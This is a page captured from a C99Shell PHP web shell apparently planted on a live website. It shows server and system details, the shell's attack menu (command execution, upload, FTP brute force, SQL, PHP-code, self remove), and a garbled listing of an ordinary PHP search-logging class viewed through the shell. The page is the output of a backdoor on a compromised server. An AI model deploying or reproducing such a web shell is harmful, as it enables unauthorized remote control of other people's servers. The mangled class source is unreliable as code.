!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     searchParamsLogger.php (2.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once(getabspath("classes/paramsLogger.php"));
class 
searchParamsLogger extends paramsLogger
{
    
/**
     * @type String
     */
    
protected $dbNameFieldName;
    
    
/**
     * This property is used to store 
     * the 'getSavedSeachesParams' method`s cash
     * @type Array
     */
    
protected $savedSearchesParams = array(); 
    
    
    public function 
__construct$tableNameId$type SSEARCH_PARAMS_TYPE 
    {        
        
// type 1 - saved search
        
parent::__construct$tableNameIdSSEARCH_PARAMS_TYPE );
        
        
//    .NET conversion needs this
        
$this->type SSEARCH_PARAMS_TYPE;
    }
    
    
/**
     * Add fields wrappers to the real fields name
     * and assign them to the corresponding class properties
     */
    
protected function assignDbFieldsAndTableNames() 
    {
        
parent::assignDbFieldsAndTableNames();

        
$this->dbNameFieldName $this->connection->addFieldWrappers"NAME" );
    }
    
    
    
/**
     * Save the search under a particular name
     * @param String $searchName
     * @param Array $searchParams
     */
    
public function saveSearch$searchName$searchParams )
    {    
        
$savedSearchNames $this->getSavedSeachesParams();
        if (
array_key_exists($searchName$savedSearchNames) )
        {
            
$this->updateSearch$searchName$searchParams );
            return;
        }
        
        
$column $this->dbNameFieldName ", ";
        
$value $this->connection->prepareString$searchName ).", ";

        
$this->save($searchParams$column$value);    
    }

    
/**
     * Update the existing saved search
     * @param String $searchName
     * @param Array $searchParams
     */
    
public function updateSearch$searchName$searchParams )
    {
        
$where $this->dbNameFieldName."=".$this->connection->prepareString$searchName );    
        
$this->update($searchParams$where);                
    }
    
    
/**
     * Delete the saved search 
     * @param String searchName
     */    
    
public function deleteSearch$searchName )
    {    
        
$where $this->dbNameFieldName."=".$this->connection->prepareString$searchName );    
        
$this->delete($where);
    }
    
    
/**
     * Get the save searches` names basing on 
     * security params and current page`s table name
     * @return Array
     */
    
public function getSavedSeachesParams()
    {
        if( 
count($this->savedSearchesParams) )
            return 
$this->savedSearchesParams;             
    
        
$where $this->getCommonWhere();            
        
$sql "SELECT ".$this->dbNameFieldName.", "$this->dbDataFieldName.", "$this->dbTypeFieldName ." from "$this->dbParamsTableName 
            
." where ".$where." ORDER BY ".$this->dbNameFieldName;
        
        
$qResult $this->connection->querySilent$sql );
        if( !
$qResult )
            return array();
        
        
$names = array();
        while( 
$data $qResult->fetchAssoc() )
        {
            if( !
$data["TYPE"] || $data["TYPE"] == 
            {
                if(
substr($data["SEARCH"],0,2) != "{\"")
                    
$names$data["NAME"] ] = runner_unserialize_array$data["SEARCH"] );
                else
                    
$names$data["NAME"] ] = $this->decode$data["SEARCH"] );
                
            }
        }
        
        
$this->savedSearchesParams $names;
        return 
$names;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0019 ]--